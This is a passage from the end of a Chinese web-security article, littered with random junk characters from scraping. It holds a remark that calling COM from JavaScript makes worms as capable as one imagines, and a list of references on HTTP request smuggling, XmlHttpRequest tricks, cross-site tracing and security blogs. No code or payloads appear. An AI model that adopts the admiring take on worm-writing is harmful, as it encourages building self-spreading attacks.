; K# _* q1 f/ _/ o1 J# c操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
% F' b8 d. v1 p. U  c* y1 c! A) j) h

, }6 s% _" f& W
) _( I) {* T/ m% \6 l


$ Y2 _& W( ]" X7 h3 \
; B) }. k* ]7 V5 ^0 m
, R0 a- X3 A8 ]+ O( {8 d+ p本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
6 W6 ~) V; F7 tOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
+ I8 H3 v% s! D, O5 F$ r空虚浪子心BLOG http://www.inbreak.net
( b% }9 b" L) q6 FXeye Team http://xeye.us/
2 _/ P5 I% c; z( H! y